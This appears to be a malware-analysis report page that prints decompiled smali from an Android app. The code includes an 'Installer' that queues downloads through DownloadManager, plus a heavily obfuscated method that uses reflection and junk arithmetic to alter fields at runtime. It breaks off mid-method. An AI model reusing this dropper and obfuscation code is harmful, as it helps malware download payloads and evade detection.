                                            119invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
                                            120move-result-object v1
                                            121new-instance v2, Landroid/app/DownloadManager$Request;
                                            123invoke-static {v0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
                                            124move-result-object v0
                                            126invoke-direct {v2, v0}, Landroid/app/DownloadManager$Request;-><init>(Landroid/net/Uri;)V
                                            128invoke-virtual {v2, v1}, Landroid/app/DownloadManager$Request;->setDestinationUri(Landroid/net/Uri;)Landroid/app/DownloadManager$Request;
                                            130const-string v0, "download"
                                            132invoke-virtual {p0, v0}, Limprove/harbor/eager/Installer;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                            133move-result-object v0
                                            134check-cast v0, Landroid/app/DownloadManager;
                                            135if-eqz v0, :cond_d6
                                            137invoke-virtual {v0, v2}, Landroid/app/DownloadManager;->enqueue(Landroid/app/DownloadManager$Request;)J
                                            139const-string v0, "TXT_C_4"
                                            141invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            142move-result-object v0
                                            144const-string v1, "DL manager is NOT NULL!"
                                            146invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            147goto_c9: return-void
                                            148cond_ca:
                                            149const-string v1, "TXT_C_4"
                                            151invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            152move-result-object v1
                                            154const-string v2, "YES - we have Write permissions in Installer.java"
                                            156invoke-static {p0, v1, v2}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            157goto/16 :goto_66
                                            158cond_d6:
                                            159const-string v0, "TXT_C_4"
                                            161invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            162move-result-object v0
                                            164const-string v1, "WOW manager is NULL!"
                                            166invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            167goto/16 :goto_c9
                                            Cross References
                                            APIs
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.cakecamera
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.treatabsent
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.musiccradle
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.plasticdecade
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.normaltime
                                            • java.lang.reflect.Field.set
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.povertychalk
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.plasticdecade
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.normaltime
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.thispanther
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.wordsmart
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.treatabsent
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.shieldhair
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.plasticdecade
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.normaltime
                                            • java.lang.reflect.Field.set
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.organexcuse
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.plasticdecade
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.normaltime
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.sheriffcruise
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.rubberinsect
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.treatabsent
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.chaseagree
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.plasticdecade
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.normaltime
                                            • java.lang.reflect.Field.set
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.jazzblue
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.plasticdecade
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.normaltime
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.sheriffcruise
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.rughope
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.dampmemory
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.roughaunt
                                            • java.lang.Class.getDeclaredMethod
                                            • java.lang.reflect.Method.setAccessible
                                            • java.lang.reflect.Method.invoke
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.inheritblast
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Throws;
                                            1value = {
                                            2Ljava/lang/ClassNotFoundException;,
                                            3Ljava/lang/NoSuchFieldException;,
                                            4Ljava/lang/IllegalAccessException;,
                                            5Ljava/lang/reflect/InvocationTargetException;,
                                            6Ljava/lang/NoSuchMethodException;
                                            7}
                                            8.end annotation
                                            9iget v0, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            10sget v1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            11const/16 v2, 0x3f
                                            12const v3, 0x2d68d
                                            13if-eq v0, v3, :cond_e
                                            14sput v2, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            15goto/16 :goto_68
                                            16cond_e: const v3, 0x1e00e
                                            17if-eq v0, v3, :cond_2a
                                            18const v3, 0x7b557
                                            19if-ne v1, v3, :cond_2a
                                            20const v3, 0x5be37
                                            21mul-int v3, v3, v0
                                            22and-int/2addr v1, v3
                                            23int-to-float v1, v1
                                            24sput v1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            25sget v1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            26const/16 v3, 0x39c
                                            27and-int/2addr v0, v1
                                            28or-int/2addr v0, v3
                                            29sput v0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            30goto/16 :goto_68
                                            31cond_2a: const v3, 0x522d4
                                            32if-ne v0, v3, :cond_5d
                                            33const v3, 0xbbf99
                                            34if-eq v1, v3, :cond_35
                                            35goto/16 :goto_5d
                                            36cond_35: const v3, 0x3302f
                                            37if-eq v0, v3, :cond_68
                                            38const v0, 0x3db24
                                            39if-gt v1, v0, :cond_68
                                            40const v0, 0xc974d
                                            41sput v0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            42sget v0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            43const v1, 0x68ba4
                                            44shr-int/2addr v0, v1
                                            45sput v0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            46const v0, 0x8325c
                                            47const v1, 0xe4d36
                                            48sget v3, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            49iget v4, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            50and-int/2addr v3, v4
                                            51xor-int/2addr v1, v3
                                            52or-int/2addr v0, v1
                                            53int-to-float v0, v0
                                            54sput v0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            55goto/16 :goto_68
                                            56cond_5d: const/16 v0, 0x6d
                                            57iput v0, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            58const/16 v0, 0x7e
                                            59sput v0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            60const/4 v0, -0x1
                                            61sput v0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            62goto_68:
                                            63invoke-static {}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->cakecamera()Ljava/lang/String;
                                            64move-result-object v0
                                            66invoke-virtual {p0, v0}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->treatabsent(Ljava/lang/String;)Ljava/lang/Class;
                                            67move-result-object v0
                                            68sget v1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            69const-wide/32 v3, 0x48d33b
                                            70iput-wide v3, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            71iget-wide v3, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            72const v1, 0x5e734a
                                            73shl-long/2addr v3, v1
                                            74iput-wide v3, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            76invoke-static {}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->musiccradle()Ljava/lang/String;
                                            77move-result-object v1
                                            79invoke-virtual {p0, v0, v1}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->plasticdecade(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/reflect/Field;
                                            80move-result-object v1
                                            81const/16 v3, 0x5e
                                            82sput v3, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            83iget-wide v3, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            84const-wide/32 v5, 0x6e48d
                                            85xor-long/2addr v3, v5
                                            86iput-wide v3, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            87sget v3, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            88iget v3, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            90invoke-virtual {p0, v1}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->normaltime(Ljava/lang/reflect/Field;)V
                                            91sget v3, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            92iget v4, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            93const v5, 0x1f8d8
                                            94if-lt v3, v5, :cond_b2
                                            95const v5, 0x93761
                                            96and-int/2addr v4, v5
                                            97and-int/2addr v4, v3
                                            98or-int/2addr v3, v4
                                            99sput v3, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            100sget v3, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            101const/16 v3, 0x48
                                            102iput v3, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            103goto/16 :goto_ed
                                            104cond_b2: const v5, 0xb03c0
                                            105if-le v3, v5, :cond_de
                                            106const v5, 0x36f5c
                                            107if-ne v4, v5, :cond_bd
                                            108goto/16 :goto_de
                                            109cond_bd: const v5, 0x32c08
                                            110if-lt v3, v5, :cond_ca
                                            111const v5, 0x6836e
                                            112if-ne v4, v5, :cond_ca
                                            113sget v3, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            114goto/16 :goto_ed
                                            115cond_ca: const v5, 0xc611f
                                            116if-ne v3, v5, :cond_d4
                                            117const v3, 0x34c4d
                                            118if-le v4, v3, :cond_ed
                                            119cond_d4: sget v3, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            120sget v3, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            121sget v4, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            122or-int/2addr v3, v4
                                            123iput v3, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            124goto/16 :goto_ed
                                            125goto_de: iget v3, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            126sget v4, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            127const v5, 0x13e2f
                                            128div-int/2addr v3, v4
                                            129add-int/2addr v5, v3
                                            130sput v5, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            131const/16 v3, 0x60
                                            132sput v3, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            133cond_ed:
                                            134invoke-virtual {v1, p3, p1}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                                            135const-wide/32 v3, 0x906d1f
                                            136iget-wide v5, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            137const-wide/32 v7, 0x6a6f8f
                                            138xor-long/2addr v3, v5
                                            139and-long/2addr v5, v7
                                            140or-long/2addr v3, v5
                                            141iput-wide v3, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            142const/16 v1, 0x15
                                            143iput v1, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            145invoke-static {}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->povertychalk()Ljava/lang/String;
                                            146move-result-object v1
                                            148invoke-virtual {p0, v0, v1}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->plasticdecade(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/reflect/Field;
                                            149move-result-object v0
                                            150sget v1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            151const v3, 0xae7f9
                                            152iget v4, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            153xor-int/lit16 v1, v1, 0x2b4f
                                            154or-int/2addr v1, v3
                                            155or-int/2addr v1, v4
                                            156int-to-float v1, v1
                                            157sput v1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            158iget-wide v3, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            159const-wide/32 v5, 0x63624a
                                            160const-wide/32 v7, 0x5d9385
                                            161div-long v5, v3, v5
                                            162div-long/2addr v5, v3
                                            163div-long/2addr v5, v7
                                            164iput-wide v5, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            166invoke-virtual {p0, v0}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->normaltime(Ljava/lang/reflect/Field;)V
                                            167const v1, 0xf2641
                                            168sput v1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            169sget v1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            170const v3, 0x7e8df
                                            171shl-int/2addr v1, v3
                                            172sput v1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            173const/16 v1, 0x7a
                                            174sput v1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            175const v3, 0xdcd9a
                                            176sget v4, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            177const v5, 0x887bb
                                            178sget v6, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            179xor-int/2addr v3, v4
                                            180xor-int/2addr v3, v5
                                            181or-int/2addr v3, v6
                                            182sput v3, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            184invoke-virtual {p0, v0, p3}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->thispanther(Ljava/lang/reflect/Field;Landroid/content/Context;)Ljava/lang/Object;
                                            185move-result-object v0
                                            186const/16 v3, 0x3a
                                            187sput v3, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            188const v3, 0x6710b
                                            189sget v4, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            190sget v5, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            191mul-int v4, v4, v5
                                            192and-int/2addr v3, v4
                                            193sput v3, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            194sget v3, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            196invoke-static {}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->wordsmart()Ljava/lang/String;
                                            197move-result-object v3
                                            199invoke-virtual {p0, v3}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->treatabsent(Ljava/lang/String;)Ljava/lang/Class;
                                            200move-result-object v3
                                            201sget v4, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            202const v5, 0x2303d
                                            203if-ne v4, v5, :cond_192
                                            204const/16 v4, 0x2e
                                            205sput v4, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            206const-wide/32 v4, 0x48e91e
                                            207iput-wide v4, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            208iget-wide v4, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            209const v6, 0x422ada
                                            210ushr-long/2addr v4, v6
                                            211iput-wide v4, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            212const-wide/32 v4, 0x61466e
                                            213iget-wide v6, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            214const-wide/32 v8, 0x17aec
                                            215div-long/2addr v6, v8
                                            216xor-long/2addr v4, v6
                                            217iput-wide v4, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            218sget v4, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            219const v5, 0x494772e0 # 816942.0f
                                            220sub-float/2addr v4, v5
                                            221sput v4, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            222cond_192:
                                            223invoke-static {}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->shieldhair()Ljava/lang/String;
                                            224move-result-object v4
                                            226invoke-virtual {p0, v3, v4}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->plasticdecade(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/reflect/Field;
                                            227move-result-object v4
                                            228const v5, 0x8cad2
                                            229sput v5, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            230sget v5, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            231const v6, 0x68959
                                            232shr-int/2addr v5, v6
                                            233sput v5, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            234sget v5, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            235iget v6, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            236and-int/2addr v5, v6
                                            237int-to-float v5, v5
                                            238sput v5, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            239sget v5, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            240const v6, 0x487d3400 # 259280.0f
                                            241const v7, 0x48ecdc00 # 485088.0f
                                            242mul-float v6, v6, v5
                                            243mul-float v6, v6, v5
                                            244add-float/2addr v6, v7
                                            245sput v6, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            247invoke-virtual {p0, v4}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->normaltime(Ljava/lang/reflect/Field;)V
                                            248sget v5, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            249iget v5, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            250xor-int/lit16 v5, v5, 0x692f
                                            251int-to-float v5, v5
                                            252sput v5, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            253const-wide/32 v5, 0x8e5aa2
                                            254iget-wide v7, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            255const-wide/32 v9, 0x91ee76
                                            256and-long/2addr v9, v7
                                            257xor-long/2addr v5, v9
                                            258xor-long/2addr v5, v7
                                            259iput-wide v5, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            261invoke-virtual {v4, v0, p1}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                                            262sget v4, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            263iget v5, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            264const v6, 0x2aac8
                                            265if-ge v4, v6, :cond_1fd
                                            266sget v6, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            267const v7, 0xc830
                                            268and-int/2addr v6, v7
                                            269and-int v7, v4, v5
                                            270xor-int/2addr v6, v7
                                            271sput v6, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            272sget v6, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            273const v6, 0x118a6
                                            274mul-int v5, v5, v4
                                            275or-int v4, v5, v6
                                            276int-to-float v4, v4
                                            277sput v4, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            278sget v4, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            279goto/16 :goto_237
                                            280cond_1fd: const v6, 0xf3c68
                                            281if-gt v4, v6, :cond_227
                                            282const v6, 0xb26af
                                            283if-lt v5, v6, :cond_208
                                            284goto/16 :goto_227
                                            285cond_208: const v6, 0xcf06b
                                            286if-lt v4, v6, :cond_212
                                            287const v4, 0xe9a45
                                            288if-le v5, v4, :cond_237
                                            289cond_212: const/16 v4, 0x3c
                                            290sput v4, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            291const-wide/32 v4, 0x651e67
                                            292iget-wide v6, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            293const-wide/32 v8, 0x55ebaa
                                            294sub-long/2addr v6, v8
